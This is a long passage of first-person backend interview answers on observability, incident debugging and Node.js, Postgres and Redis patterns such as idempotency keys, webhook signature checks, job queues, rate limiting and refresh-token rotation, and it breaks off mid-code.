Let me give you how they chain together in a real incident. We got an alert: checkout p95 went from 300ms to 2.5s. That's the metric. I opened a slow trace from that window and saw 2.1 seconds in a single span: the call to the tax service. Then I filtered logs by that trace ID and the tax service showed ETIMEDOUT retries to its upstream provider, three attempts of 700ms each. Fix: lower the timeout, cache tax rates, add a breaker.

Any one alone leaves me guessing. The glue that makes it work is a shared trace or request ID on the logs, so I can jump from a trace straight to the relevant lines.

Interviewers look for: a concrete incident walk-through that uses all three in sequence.

So structured logging means each log line is JSON with fields, not a sentence. That makes logs queryable: I can filter "all errors for userId=42 in the last hour" across millions of lines, instead of grepping text.

import pino from "pino";
const logger = pino({
  redact: ["req.headers.authorization", "*.password", "*.cardNumber"],
});

app.use((req, res, next) => {
  req.log = logger.child({ requestId: req.headers["x-request-id"] ?? crypto.randomUUID() });
  next();
});

req.log.error({ orderId, userId, err }, "payment failed");
// {"level":50,"requestId":"9f1c...","orderId":"o_123","userId":42,"err":{...},"msg":"payment failed"}

A good line has: a stable message string (so I can count occurrences), the request or trace ID, the business IDs involved, the error object with stack, and the level used properly. Error means someone should look; info is for business events like "order placed"; debug is off in production.

And never secrets or personal data. I redact at the logger config, like above, rather than trusting every call site. Logs get shipped to tools a lot of people can read and are kept for months, so a logged token is effectively a leaked token.

So the four golden signals, from Google's SRE book, are latency, traffic, errors and saturation. If I can only have four graphs for a service, those are the four.

• Latency: p50, p95, p99, split by success and failure, since fast errors can make latency look great.
• Traffic: requests per second, per route.
• Errors: 5xx rate, plus 4xx spikes, which often mean a broken client deploy.
• Saturation: how full the constrained resource is: CPU, memory, pool usage.

For Node specifically, I add a few, because Node's failure modes are particular:

import { monitorEventLoopDelay } from "node:perf_hooks";
const h = monitorEventLoopDelay({ resolution: 20 });
h.enable();
setInterval(() => {
  metrics.gauge("event_loop_delay_p99_ms", h.percentile(99) / 1e6);
  h.reset();
}, 10_000);

Event loop lag is the big one: if it's at 200ms, every request waits at least that long, and CPU graphs won't show why. Then heap used after GC for leaks, DB pool waiting count, since requests queuing for a connection look like slow queries, and queue depth for workers.

Interviewers look for: event loop lag as a Node-specific saturation signal.

So a trace is a tree of spans. Each span is a timed operation, like "HTTP GET /checkout", "SELECT orders", "POST tax-service", with a trace ID shared by the whole request, its own span ID, and its parent's span ID.

The key mechanism is context propagation. When my service calls another, it adds a traceparent header, the W3C Trace Context standard, and the receiving service continues the same trace.

traceparent: 00-4bf92f3577b34da6a3ce929d0e0e4736-00f067aa0ba902b7-01
             ver  trace-id (shared)              parent span id   sampled

Inside a Node process, OpenTelemetry keeps the current span in AsyncLocalStorage, so it follows the request through awaits without me passing it around. Auto-instrumentation patches http, Express, pg, ioredis and so on to create spans automatically.

// loaded before the app: node --import ./otel.js server.js
const sdk = new NodeSDK({
  traceExporter: new OTLPTraceExporter(),
  instrumentations: [getNodeAutoInstrumentations()],
});
sdk.start();

Two gotchas I've hit: context gets lost across a queue unless I put the trace context into the job payload and restore it in the worker. And sampling: with head sampling at 1%, the one slow request I care about is probably not recorded, so for important services I prefer tail sampling in the collector, which keeps all errors and slow traces.

So a good alert is urgent, actionable, and about something users feel. If it pages someone at 3am, there should be a clear thing they need to do right now. If there isn't, it shouldn't page.

The shift I push for is alerting on symptoms, not causes. "CPU above 80%" isn't a user problem; maybe it's a batch job and everything's fine. "Checkout error rate above 2% for 5 minutes" is a user problem. Causes like CPU, disk and pool usage go on dashboards for diagnosis, or become low-urgency tickets.

Let me give you what our setup looked like after cleaning it up:

• Page: SLO burn-rate alerts on error rate and p99 latency for critical user journeys; DLQ depth on payments.
• Ticket: disk 80% full, cert expiring in 14 days, slow burn on SLO.
• Deleted: anything that fired more than twice a week without anyone acting on it.

Every paging alert links to a runbook: what it means, the dashboards, and first steps. We went from about 40 pages a week to 4, and people actually started responding to them again.

Interviewers look for: symptoms over causes, runbooks, and pruning alerts nobody acts on.

So an SLI is the measurement: for example, the fraction of checkout requests that succeed in under 500ms. An SLO is the target for it: 99.9% over 30 days. The error budget is what's left: 0.1% of requests, which over 30 days is about 43 minutes of full outage equivalent.

The budget turns reliability into a decision tool. If we've barely used it, we can ship faster and take risks. If we've burned most of it, we slow down and spend time on reliability. It stops "should we fix flakiness or build features" from being an argument.

Burn rate is how fast I'm spending the budget relative to plan. A burn rate of 1 uses exactly the whole budget in 30 days. A burn rate of 14.4 uses 2% of the monthly budget in one hour.

# page: fast burn, confirmed over both a long and a short window
error_ratio[1h] > 14.4 * 0.001  AND  error_ratio[5m] > 14.4 * 0.001

# ticket: slow burn
error_ratio[3d] > 1 * 0.001     AND  error_ratio[6h] > 1 * 0.001

The reason for two windows: the long window means it's significant, not a 30-second blip; the short window means it's still happening, so the alert resolves quickly once fixed. This beats a static "error rate > 1%" threshold, which is either too noisy at low traffic or too slow for real outages.

One practical point: I'd pick SLOs from what users need and what we currently achieve, not 99.99% because it sounds good. Each extra nine costs a lot more.

So "slower as data grows" plus "list with children" makes me suspect N+1 straight away: one query for the list, then one query per row for its items. 50 orders means 51 round trips.

First I'd confirm it rather than guess. I turn on query logging for that request, or look at the trace, and count queries.

// Prisma: log every query in dev
const db = new PrismaClient({ log: ["query"] });

// The culprit
const orders = await db.order.findMany({ where: { userId }, take: 50 });
for (const o of orders) {
  o.items = await db.orderItem.findMany({ where: { orderId: o.id } });   // 50 more queries
}

In the trace it shows up as a staircase of identical short spans. Each query is fast, maybe 2ms, but 50 of them plus network is 150ms, and it grows linearly.

The fix is to fetch the children in one query:

const orders = await db.order.findMany({
  where: { userId }, take: 50,
  include: { items: true },   // Prisma issues one extra WHERE order_id IN (...) query
});

// or raw SQL
SELECT * FROM order_items WHERE order_id = ANY($1);   -- then group in JS

Then I'd check there's an index on order_items(order_id), because the IN query needs it, and make sure the list is paginated. In GraphQL, the equivalent fix is a DataLoader per request.

To stop it coming back, I've added a test helper that counts queries for a request and fails if it exceeds a threshold.

So "randomly" and "after going to two instances" together almost always means state is living in one process's memory. The login happens on instance A, the next request goes to instance B, and B has never heard of that session.

I'd confirm with a quick check: is the session store the default?

// express-session defaults to MemoryStore: per process, lost on restart
app.use(session({ secret: process.env.SESSION_SECRET }));

The fix is a shared store:

import { RedisStore } from "connect-redis";
app.use(session({
  store: new RedisStore({ client: redis }),
  secret: process.env.SESSION_SECRET,
  resave: false, saveUninitialized: false,
  cookie: { httpOnly: true, secure: true, sameSite: "lax" },
}));

But there are two other causes I'd check, because they look the same:

• Different secrets per instance. If SESSION_SECRET or the JWT signing key is generated at startup or differs per instance, B can't verify A's cookie. I'd check both instances have the same value from the secret manager.
• secure cookie behind TLS termination. The balancer talks HTTP to the app, so Express thinks the request isn't secure and won't set the cookie. app.set("trust proxy", 1) fixes that.

I wouldn't fix it with sticky sessions. It hides the problem until an instance restarts or scales in, and then those users get logged out anyway.

Interviewers look for: the in-memory store as the first guess, plus the per-instance secret and trust-proxy variants.

So each instance runs its own copy of node-cron or setInterval, so N instances means N runs. The job needs to be scheduled once for the whole cluster, not once per process.

There are a few fixes, and I'd pick based on what we already run.

Option 1, the one I prefer: a queue's repeatable job. BullMQ stores the schedule in Redis, so only one job is created per tick, and one worker picks it up.

await queue.upsertJobScheduler("nightly-report",
  { pattern: "0 2 * * *", tz: "Europe/London" },
  { name: "nightly-report" });

Option 2: a distributed lock around the existing cron, if I can't restructure yet.

cron.schedule("0 2 * * *", async () => {
  const got = await redis.set("lock:nightly-report", instanceId, "NX", "EX", 3600);
  if (!got) return;                  // another instance has it
  await runNightlyReport();
});

Or in Postgres, pg_try_advisory_lock. Option 3: take it out of the app entirely, a Kubernetes CronJob or EventBridge schedule with concurrencyPolicy: Forbid.

And whatever I pick, I'd make the job itself idempotent, for example the report keyed by date with an upsert. Locks can expire mid-run and clocks can skew, so the job shouldn't be the thing that breaks if it runs twice.

So a 502 means the load balancer tried to talk to my app and got a bad or no response: connection refused, connection reset, or a malformed response. So the problem is between the LB and the app, not inside my route logic.

The first thing I look at is when they happen, because the pattern points to the cause:

• Only during deploys: the LB still routes to pods that are shutting down. Fix is graceful shutdown: fail readiness, wait a few seconds for deregistration, then close.
• Random, low rate, under steady traffic: almost always a keep-alive timeout mismatch. Node's default keepAliveTimeout is 5s; AWS ALB's idle timeout is 60s. Node closes an idle socket, the LB reuses it at the same moment, gets a reset, returns 502.
• Correlated with memory: the process is being OOM-killed or crashing. Check restarts and exit codes.

const server = app.listen(3000);
server.keepAliveTimeout = 65_000;   // longer than the ALB idle timeout (60s)
server.headersTimeout = 66_000;     // must be above keepAliveTimeout

To confirm, I'd check the ALB access logs: target_status_code of - with a 502 means the target closed the connection without a response. Then kubectl get pods for restart counts, and kubectl describe pod for OOMKilled.

The keep-alive one has bitten me in two different companies; it's the first thing I check now.

Interviewers look for: pattern-based diagnosis, especially the keep-alive timeout mismatch.

So p50 being fine tells me most requests are healthy. Something affects a subset: specific routes, specific users, one instance, or occasional contention. My job is to find what the slow requests have in common.

What I'd do, roughly in order:

1. Check what changed: deploy, config change, traffic pattern, a dependency's status page. Most spikes line up with a change.
2. Break p99 down by route, instance and status code. If it's one instance, it's that box: noisy neighbour, GC, a stuck connection. If it's one route, I go there.
3. Open slow traces from the window and see which span eats the time.
4. Check saturation: event loop lag, DB pool waiting count, CPU.

-- Postgres: what's slow or waiting right now
SELECT pid, now() - query_start AS dur, wait_event_type, wait_event, left(query, 80)
FROM pg_stat_activity WHERE state != 'idle' ORDER BY dur DESC LIMIT 10;

Let me give you a real one. In my last project p99 spiked, p50 flat, all routes. Traces showed the time was spent before the first DB query: requests waiting for a pool connection. The cause was a new export endpoint that held a connection for 20 seconds while streaming rows. A handful of those exhausted the pool of 10, and everyone else queued. Fix was a separate pool for exports and moving the export to a background job.

Other usual suspects for tail-only latency: event loop blocked by a big JSON.stringify or sync crypto, lock contention on a hot row, and retries against a flaky dependency.

So first I stabilise, then diagnose. If the site is down, I look for one runaway query to kill or a recent deploy to roll back. Then I find the queries eating the CPU.

In Postgres, pg_stat_statements is the first stop. I sort by total time, not mean, because a 2ms query run 50,000 times a minute usually matters more than one slow report.

SELECT calls, round(total_exec_time) AS total_ms, round(mean_exec_time, 1) AS mean_ms,
       rows, left(query, 100)
FROM pg_stat_statements ORDER BY total_exec_time DESC LIMIT 10;

-- then for the top offender
EXPLAIN (ANALYZE, BUFFERS) SELECT ... ;

What I'm looking for in the plan: a Seq Scan on a big table with a filter that throws away most rows, meaning a missing index. Or a nested loop with huge row counts because statistics are stale, where ANALYZE on the table fixes the estimate.

Let me give you an example. We once hit 100% CPU right after a deploy. The top statement was WHERE lower(email) = $1, new code that added lower(). The existing index was on email, so it couldn't be used and every login did a seq scan on 4 million users. Fix: CREATE INDEX CONCURRENTLY ON users (lower(email)). CPU dropped to 20% within a minute.

Other causes I'd check: a cache that expired or got flushed, sending all traffic to the DB, and a sudden connection storm, since each new connection costs CPU too.

Interviewers look for: pg_stat_statements sorted by total time, EXPLAIN ANALYZE, and linking the spike to a recent change.

So a sawtooth that climbs, crashes and restarts is a leak: something keeps references alive so GC can't free them. I need to find what is retaining memory, and heap snapshots are the tool for that.

First, I confirm it's the JS heap and not something else, by graphing heapUsed vs rss. If RSS grows but the heap doesn't, it's native memory or Buffers, which is a different hunt.

// take snapshots on demand in a staging instance under load
import v8 from "node:v8";
process.on("SIGUSR2", () => v8.writeHeapSnapshot());   // writes .heapsnapshot file

// or: node --heapsnapshot-signal=SIGUSR2 server.js

Then I take three snapshots a few minutes apart under load, load them in Chrome DevTools, and use the comparison view. The object type whose count keeps growing between snapshots is the leak, and the retainers panel shows who's holding it.

The usual culprits I've found:

• A module-level Map used as a cache with no size limit or TTL. This was ours: a per-user permissions cache that never evicted.
• Event listeners added per request and never removed, e.g. emitter.on inside a handler. Node warns with MaxListenersExceededWarning.
• Closures captured by timers or intervals that are never cleared.
• Unbounded arrays, like collecting metrics or logs in memory before flushing.

The fix for the cache was an LRU with a max size. And as a safety net, I set --max-old-space-size a bit below the container limit so Node GCs harder and crashes with a clear heap error rather than a silent OOMKill.

So the goal is that their bad day doesn't become my outage. I layer a few things, from the call itself outward.

Timeouts on every call. No timeout means one hung request holds a socket and a user waiting forever. I set it from their normal p99 plus margin.

Retries, carefully. Only for idempotent requests or with an idempotency key, only on retryable errors (timeouts, 502/503/504, 429 with Retry-After), with exponential backoff and jitter so all my instances don't retry in sync.

async function callWithRetry(fn, { attempts = 3, base = 200 } = {}) {
  for (let i = 0; ; i++) {
    try {
      return await fn(AbortSignal.timeout(2000));
    } catch (err) {
      if (i === attempts - 1 || !isRetryable(err)) throw err;
      const delay = Math.random() * base * 2 ** i;   // full jitter
      await new Promise((r) => setTimeout(r, delay));
    }
  }
}

A circuit breaker around it, so during a real outage I fail fast instead of stacking up timeouts and retries.

A fallback or async path. Can I serve a cached value? Can the work be queued and done later? For a shipping-rate API, we cached rates per route for an hour and served the cached rate if the live call failed. For sending to their API, we moved it to a queue, so their outage just delays jobs.

And I'd monitor them as a dependency: their error rate and latency on my dashboards, so I know it's them within a minute, not after an hour of debugging my own code.

Interviewers look for: timeouts first, retries only when safe and with jitter, breaker plus fallback, and moving calls off the request path.

So first, stop the bleeding and make customers whole: identify affected orders, refund duplicates, and if it's ongoing, consider disabling retries on the payment path until it's fixed. Then find where the second charge came from.

I'd join our payment records with the provider's and look at the duplicates: same order, two charges. The timestamps tell the story. Seconds apart usually means a client double-submit or a retry. Minutes apart points to a job or webhook being processed twice.

SELECT order_id, count(*), array_agg(provider_charge_id), min(created_at), max(created_at)
FROM payments WHERE status = 'succeeded'
GROUP BY order_id HAVING count(*) > 1;

The usual causes: the user double-clicks; the client or our HTTP client retries after a timeout, but the first charge had actually succeeded; or the queue redelivers a "charge order" job after a worker crash.

The prevention is idempotency at every layer:

• Provider: pass an idempotency key derived from the order, like charge-order-${orderId}. Stripe returns the original result for a repeat within 24 hours instead of charging again. This one alone fixes most cases.
• Our API: the client sends an Idempotency-Key header; we store the response and replay it for repeats.
• Database: a unique constraint, e.g. one successful payment per order, as the last line of defence.
• Client: disable the button while submitting. Nice for UX, but never the actual guarantee.

In the case I dealt with, it was our Axios retry interceptor retrying POSTs on timeout, without an idempotency key. Adding the key fixed it; the unique index caught one more edge case a week later.

Interviewers look for: incident response first, then idempotency keys at the provider, API and DB levels. Client-side button disabling alone is a red flag.

So that's a cache stampede, or thundering herd. The cache was absorbing, say, 95% of reads. When it restarted empty, every request missed at the same moment, and hundreds of concurrent requests for the same hot keys all went to the database to recompute the same values. The DB got 20x its normal load, slowed down, and misses took even longer, so more piled up.

The same thing happens on a smaller scale when one very hot key expires.

There are a few defences, and I'd combine them:

• Request coalescing: only one caller recomputes a key; the others wait for that result. In-process with a map of pending promises, and across instances with a short Redis lock.
• TTL jitter: don't set every key to exactly 3600s, or they all expire together.
• Stale-while-revalidate: keep serving the old value while one caller refreshes it in the background.
• Protect the DB: a concurrency limit on expensive queries, so the DB degrades gracefully instead of falling over.

const inflight = new Map();
function coalesce(key, loader) {
  if (!inflight.has(key)) {
    inflight.set(key, loader().finally(() => inflight.delete(key)));
  }
  return inflight.get(key);   // 500 concurrent callers -> 1 DB query per instance
}

For the restart itself: enable Redis persistence (AOF or RDB) or use a replica with failover, so it doesn't come back empty. And warm critical keys before sending traffic, or ramp traffic back up gradually.

So in practice, coalescing plus jittered TTLs removes most of the risk, and I treat "can the DB survive a cold cache?" as a question for load testing, not something to discover in production.

OK, so first I'd say why not offset: OFFSET 100000 makes the database read and throw away 100,000 rows, and if new posts arrive while someone is paging, items shift and they see duplicates or miss some. A cursor says "give me the rows after this one", which is stable and uses the index directly.

The sort needs a unique tiebreaker, because two posts can share a created_at. So I sort by (created_at, id), and the cursor encodes both.

-- index that matches the sort exactly
CREATE INDEX posts_created_id_idx ON posts (created_at DESC, id DESC);

const encodeCursor = (row) =>
  Buffer.from(JSON.stringify([row.created_at, row.id])).toString("base64url");
const decodeCursor = (c) => JSON.parse(Buffer.from(c, "base64url").toString());

app.get("/posts", async (req, res) => {
  const limit = Math.min(Number(req.query.limit) || 20, 100);
  const params = [limit + 1];                       // fetch one extra to know if there's more
  let where = "";
  if (req.query.cursor) {
    const [createdAt, id] = decodeCursor(req.query.cursor);
    where = "WHERE (created_at, id) < ($2, $3)";   // row comparison
    params.push(createdAt, id);
  }
  const { rows } = await db.query(
    `SELECT id, title, created_at FROM posts ${where}
     ORDER BY created_at DESC, id DESC LIMIT $1`, params);

  const hasMore = rows.length > limit;
  const items = hasMore ? rows.slice(0, limit) : rows;
  res.json({ items, nextCursor: hasMore ? encodeCursor(items.at(-1)) : null });
});

A few things I'm doing on purpose: the row comparison (created_at, id) < ($2, $3) handles ties correctly and Postgres can use the composite index for it. Fetching limit + 1 tells me if there's a next page without a COUNT. The cursor is opaque base64, so clients don't build their own and I can change the format later. And I clamp limit.

The trade-off: no "jump to page 57". For feeds and infinite scroll that's fine; for an admin table with page numbers, I'd keep offset.

OK, so the problem I'm solving is lost updates: two people open the same document, both edit, and the second save silently overwrites the first. Optimistic locking says: don't lock while reading, but on write, only succeed if nobody changed the row since I read it.

Let me write this out. The table gets a version column, the client gets it with the data and sends it back with the update.

ALTER TABLE documents ADD COLUMN version integer NOT NULL DEFAULT 1;

app.put("/documents/:id", async (req, res) => {
  const { title, body, version } = UpdateDoc.parse(req.body);

  const { rows } = await db.query(
    `UPDATE documents
       SET title = $1, body = $2, version = version + 1, updated_at = now()
     WHERE id = $3 AND owner_id = $4 AND version = $5
     RETURNING id, title, body, version`,
    [title, body, req.params.id, req.user.id, version]);

  if (rows.length === 1) return res.json(rows[0]);

  // 0 rows: either it doesn't exist / isn't ours, or the version moved on
  const current = await db.query(
    "SELECT version FROM documents WHERE id = $1 AND owner_id = $2",
    [req.params.id, req.user.id]);
  if (current.rowCount === 0) return res.status(404).end();
  return res.status(409).json({ error: "conflict", currentVersion: current.rows[0].version });
});

What happens is the check and the write are one atomic statement. If two requests both send version = 3, the first updates the row to 4, and the second's WHERE version = 3 matches nothing. No race window, no explicit lock.

On a 409 the client refetches and either merges or asks the user. Over HTTP you can do the same with ETag and If-Match, returning 412 Precondition Failed.

I'd pick optimistic when conflicts are rare, like editing profiles or documents. If conflicts are frequent, like decrementing stock on a hot product, retries pile up and I'd use an atomic SET stock = stock - 1 WHERE stock > 0 or SELECT ... FOR UPDATE instead.

OK, so cache-aside is: check the cache, on a miss load from the source and populate the cache. The stampede part is making sure that when a hot key is missing, 500 concurrent requests don't all run the loader. I'll handle that at two levels: in-process with a map of pending promises, and across instances with a short Redis lock.

const inflight = new Map();
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));

export async function cached(key, ttlSec, loader) {
  const hit = await redis.get(key);
  if (hit !== null) return JSON.parse(hit);

  if (inflight.has(key)) return inflight.get(key);   // same instance: share the promise

  const p = (async () => {
    const gotLock = await redis.set(`lock:${key}`, "1", "PX", 5000, "NX");
    if (!gotLock) {
      // another instance is loading: wait briefly for its result
      for (let i = 0; i < 20; i++) {
        await sleep(50);
        const v = await redis.get(key);
        if (v !== null) return JSON.parse(v);
      }
      // gave up waiting: load it ourselves rather than fail the request
    }
    try {
      const value = await loader();
      const ttl = ttlSec + Math.floor(Math.random() * ttlSec * 0.1);   // jitter
      await redis.set(key, JSON.stringify(value), "EX", ttl);
      return value;
    } finally {
      if (gotLock) await redis.del(`lock:${key}`);
    }
  })().finally(() => inflight.delete(key));

  inflight.set(key, p);
  return p;
}

// usage
const product = await cached(`product:${id}`, 300, () => db.product.findUnique({ where: { id } }));

So if 100 requests hit this at once for the same cold key, the loader runs once. Walking through the choices: the in-process map collapses same-instance calls for free. The Redis lock with NX and a 5s expiry collapses across instances, and the expiry means a crashed loader can't wedge the key. The jitter stops keys written together from expiring together.

A couple of things I'd add in production: cache null for missing rows with a short TTL, so lookups for nonexistent IDs don't all hit the DB. Invalidate with redis.del(key) after writes. And the lock release should check it still owns the lock, with a token and a small Lua script, in case the loader ran longer than 5s.

Interviewers look for: request coalescing, lock expiry, TTL jitter, and a fallback path when waiting times out.

OK, so the sender signs the raw body with a shared secret using HMAC, and I recompute it and compare. The things that commonly go wrong are: verifying against re-serialised JSON instead of the raw bytes, comparing with ===, not checking the timestamp so old requests can be replayed, and doing slow work before responding.

Let me write this out, using a Stripe-style header like t=1726000000,v1=<hex>:

import crypto from "node:crypto";

function verifySignature(rawBody, header, secret, toleranceSec = 300) {
  const parts = Object.fromEntries(header.split(",").map((p) => p.split("=")));
  const ts = Number(parts.t);
  if (!ts || Math.abs(Date.now() / 1000 - ts) > toleranceSec) return false;   // replay window

  const expected = crypto.createHmac("sha256", secret)
    .update(`${ts}.${rawBody}`).digest("hex");
  const a = Buffer.from(expected, "hex");
  const b = Buffer.from(parts.v1 ?? "", "hex");
  return a.length === b.length && crypto.timingSafeEqual(a, b);
}

// raw body ONLY on this route, before any global express.json()
app.post("/webhooks/payments", express.raw({ type: "application/json" }), async (req, res) => {
  const sig = req.get("x-signature") ?? "";
  if (!verifySignature(req.body, sig, process.env.WEBHOOK_SECRET)) {
    return res.status(400).end();
  }
  const event = JSON.parse(req.body);

  // dedupe: providers deliver at-least-once
  const { rowCount } = await db.query(
    "INSERT INTO webhook_events (id, type, payload) VALUES ($1, $2, $3) ON CONFLICT (id) DO NOTHING",
    [event.id, event.type, event]);
  if (rowCount === 1) await queue.add("process-webhook", { eventId: event.id });

  res.status(200).end();   // ack fast; real work happens in the worker
});

Changing a single byte of the body, or sending a malformed signature, makes this return false. The length check before timingSafeEqual matters because it throws on different-length buffers.

Why ack fast: providers time out after a few seconds and retry, so if I do the work inline, a slow DB turns into duplicate deliveries. Storing the event first and processing from a queue also gives me a record to replay if my worker has a bug. And during secret rotation, I'd accept signatures from either the old or new secret for a window.

OK, so the contract is: the client sends an Idempotency-Key header, a UUID per logical operation. The first request with that key runs normally, and I store its response. Any repeat with the same key gets the stored response replayed, without running the handler again. That makes retries after a timeout safe.

The tricky cases are: a repeat arriving while the first is still running, the same key reused with a different body, and what to do if the first request failed.

import crypto from "node:crypto";

export function idempotency({ ttlSec = 86_400 } = {}) {
  return async (req, res, next) => {
    const key = req.get("Idempotency-Key");
    if (!key) return next();                          // or 400 on endpoints that require it

    const redisKey = `idem:${req.user.id}:${key}`;   // scope per user
    const fingerprint = crypto.createHash("sha256")
      .update(`${req.method} ${req.originalUrl} ${JSON.stringify(req.body)}`).digest("hex");

    // claim the key atomically
    const claimed = await redis.set(redisKey,
      JSON.stringify({ state: "processing", fingerprint }), "EX", ttlSec, "NX");

    if (!claimed) {
      const saved = JSON.parse(await redis.get(redisKey));
      if (saved.fingerprint !== fingerprint)
        return res.status(422).json({ error: "Idempotency-Key reused with a different request" });
      if (saved.state === "processing")
        return res.status(409).json({ error: "Request with this key is still in progress" });
      res.set("Idempotent-Replayed", "true");
      return res.status(saved.status).json(saved.body);
    }

    // capture the response the handler sends
    const originalJson = res.json.bind(res);
    res.json = (body) => {
      if (res.statusCode >= 500) {
        redis.del(redisKey);                            // server error: allow a retry
      } else {
        redis.set(redisKey, JSON.stringify({
          state: "done", fingerprint, status: res.statusCode, body }), "EX", ttlSec);
      }
      return originalJson(body);
    };
    next();
  };
}

app.post("/payments", requireAuth, idempotency(), createPayment);

Walking through it: SET NX is the atomic claim, so two simultaneous requests can't both run. The fingerprint catches a client bug where the same key is reused for a different payment. I store 4xx responses, because a validation error should replay the same way, but I release the key on 5xx, since the client should be allowed to retry.

The honest limitation: if the process crashes mid-handler, the key sits in "processing" until it expires. For money, I'd store the key in Postgres in the same transaction as the payment row, so the record and the side effect commit together. Redis is fine for lower stakes.

Interviewers look for: the atomic claim, handling in-progress duplicates, fingerprint mismatch, and what happens on failure.

OK, so in production I'd reach for BullMQ or SQS, but let me build it on Postgres so the mechanics are visible. A jobs table, workers that claim jobs safely in parallel, exponential backoff on failure, and a dead state after N attempts.

CREATE TABLE jobs (
  id bigserial PRIMARY KEY,
  type text NOT NULL,
  payload jsonb NOT NULL,
  status text NOT NULL DEFAULT 'queued',   -- queued | running | done | dead
  attempts int NOT NULL DEFAULT 0,
  max_attempts int NOT NULL DEFAULT 5,
  run_at timestamptz NOT NULL DEFAULT now(),
  locked_at timestamptz,
  last_error text
);
CREATE INDEX jobs_ready_idx ON jobs (run_at) WHERE status = 'queued';

const handlers = { "send-email": sendEmail, "sync-crm": syncCrm };

async function claimJob() {
  const { rows } = await db.query(`
    UPDATE jobs SET status = 'running', locked_at = now(), attempts = attempts + 1
    WHERE id = (
      SELECT id FROM jobs WHERE status = 'queued' AND run_at <= now()
      ORDER BY run_at LIMIT 1 FOR UPDATE SKIP LOCKED
    ) RETURNING *`);
  return rows[0];
}

async function runOnce() {
  const job = await claimJob();
  if (!job) return false;
  try {
    await handlers[job.type](job.payload, { jobId: job.id });   // handler must be idempotent
    await db.query("UPDATE jobs SET status = 'done' WHERE id = $1", [job.id]);
  } catch (err) {
    const dead = job.attempts >= job.max_attempts || err.permanent;
    const delaySec = Math.min(2 ** job.attempts * 5, 3600) * (0.5 + Math.random() / 2);
    await db.query(
      `UPDATE jobs SET status = $2, last_error = $3,
         run_at = now() + make_interval(secs => $4) WHERE id = $1`,
      [job.id, dead ? "dead" : "queued", String(err.stack ?? err), delaySec]);
    if (dead) logger.error({ jobId: job.id, type: job.type }, "job moved to dead letter");
  }
  return true;
}

let running = true;
process.on("SIGTERM", () => { running = false; });   // finish current job, then exit
while (running) {
  const didWork = await runOnce();
  if (!didWork) await sleep(1000);
}

The key piece is FOR UPDATE SKIP LOCKED: ten workers can run this at once and each gets a different job, with no double-claiming and no waiting on each other's locks. Backoff is exponential with jitter, capped at an hour. Errors marked permanent, like a 400 from the email API for an invalid address, skip straight to dead, since retrying won't help.

The "dead-letter queue" here is just status = 'dead', which I'd alert on and replay by setting it back to queued. The thing I'd still add: a reaper that resets jobs stuck in running with an old locked_at, because a worker that crashes mid-job would otherwise leave them stranded. That's exactly why handlers must be idempotent: the reaper can cause a second run.

OK, so a token bucket has a capacity, say 10, and refills at a steady rate, say 5 tokens a second. Each request takes a token; if the bucket's empty, it's a 429. It allows short bursts up to the capacity while holding the long-run rate, which is why I like it over a fixed window, which lets through double the limit at window boundaries.

The state per client is just two numbers: tokens left and the last refill time. The important part is that read, refill, take and write must be atomic, or two instances read "1 token left" at the same time and both allow. So I'll do it in a Lua script, which Redis runs atomically.

-- KEYS[1] = bucket key, ARGV = capacity, refill rate per second, cost
local capacity = tonumber(ARGV[1])
local rate     = tonumber(ARGV[2])
local cost     = tonumber(ARGV[3])
local t        = redis.call("TIME")                       -- Redis clock, not app clocks
local now      = tonumber(t[1]) * 1000 + math.floor(tonumber(t[2]) / 1000)

local b      = redis.call("HMGET", KEYS[1], "tokens", "ts")
local tokens = tonumber(b[1]) or capacity
local ts     = tonumber(b[2]) or now

tokens = math.min(capacity, tokens + (now - ts) / 1000 * rate)
local allowed = 0
if tokens >= cost then
  tokens = tokens - cost
  allowed = 1
end

redis.call("HSET", KEYS[1], "tokens", tokens, "ts", now)
redis.call("PEXPIRE", KEYS[1], math.ceil(capacity / rate * 1000) + 1000)
local retryMs = 0
if allowed == 0 then retryMs = math.ceil((cost - tokens) / rate * 1000) end
return { allowed, retryMs }

redis.defineCommand("takeToken", { numberOfKeys: 1, lua: TOKEN_BUCKET_LUA });   // ioredis

export function rateLimit({ capacity = 10, perSec = 5, key = (req) => req.user?.id ?? req.ip } = {}) {
  return async (req, res, next) => {
    try {
      const [allowed, retryMs] = await redis.takeToken(`rl:${key(req)}`, capacity, perSec, 1);
      if (allowed === 1) return next();
      res.set("Retry-After", String(Math.ceil(retryMs / 1000)));
      return res.status(429).json({ error: "Too many requests" });
    } catch (err) {
      req.log.warn({ err }, "rate limiter unavailable, failing open");
      return next();
    }
  };
}

To make it concrete: with capacity 10 and 5 per second, 12 instant requests give 10 allowed then 2 rejected, and one more is allowed 200ms later. A few choices worth calling out. I use redis.call("TIME") so instance clock skew can't mint tokens. The PEXPIRE is the time to fully refill plus a buffer, so idle clients cost no memory. I return integers only, because Redis truncates Lua floats in replies. And on Redis failure I fail open for a general API limit; for a login endpoint I'd probably fail closed.

At very high scale the Redis round trip per request adds up, and I'd shard keys across a Redis Cluster or keep a small local allowance per instance. But for most APIs this is the right shape.

Interviewers look for: atomicity via Lua, using the server clock, key expiry, and a deliberate fail-open vs fail-closed decision.

OK, so the setup is a short-lived access token, say 15 minutes, and a long-lived refresh token in an HttpOnly cookie. Rotation means every time the refresh token is used, it's invalidated and a new one is issued. Reuse detection is the payoff: if an old, already-used refresh token ever shows up again, someone copied it, so I revoke the whole session family, both attacker and user, and force a login.

Let me write out the storage first. I never store the raw token, only a hash, same as passwords, so a DB leak doesn't hand out sessions.

CREATE TABLE refresh_tokens (
  id uuid PRIMARY KEY,
  token_hash text UNIQUE NOT NULL,
  family_id uuid NOT NULL,          -- one family per login
  user_id bigint NOT NULL,
  expires_at timestamptz NOT NULL,
  used_at timestamptz,              -- set when rotated
  revoked_at timestamptz
);

const hash = (t) => crypto.createHash("sha256").update(t).digest("hex");

async function issueRefresh(tx, userId, familyId) {
  const token = crypto.randomBytes(32).toString("base64url");
  await tx.query(
    `INSERT INTO refresh_tokens (id, token_hash, family_id, user_id, expires_at)
     VALUES (gen_random_uuid(), $1, $2, $3, now() + interval '30 days')`,
    [hash(token), familyId, userId]);
  return token;
}

app.post("/auth/refresh", async (req, res) => {
  const presented = req.cookies.rt;
  if (!presented) return res.status(401).end();

  const result = await db.tx(async (tx) => {
    const { rows: [rt] } = await tx.query(
      "SELECT * FROM refresh_tokens WHERE token_hash = $1 FOR UPDATE", [hash(presented)]);
    if (!rt || rt.revoked_at || rt.expires_at < new Date()) return { status: 401 };

    if (rt.used_at) {                                   // reuse: token was already rotated
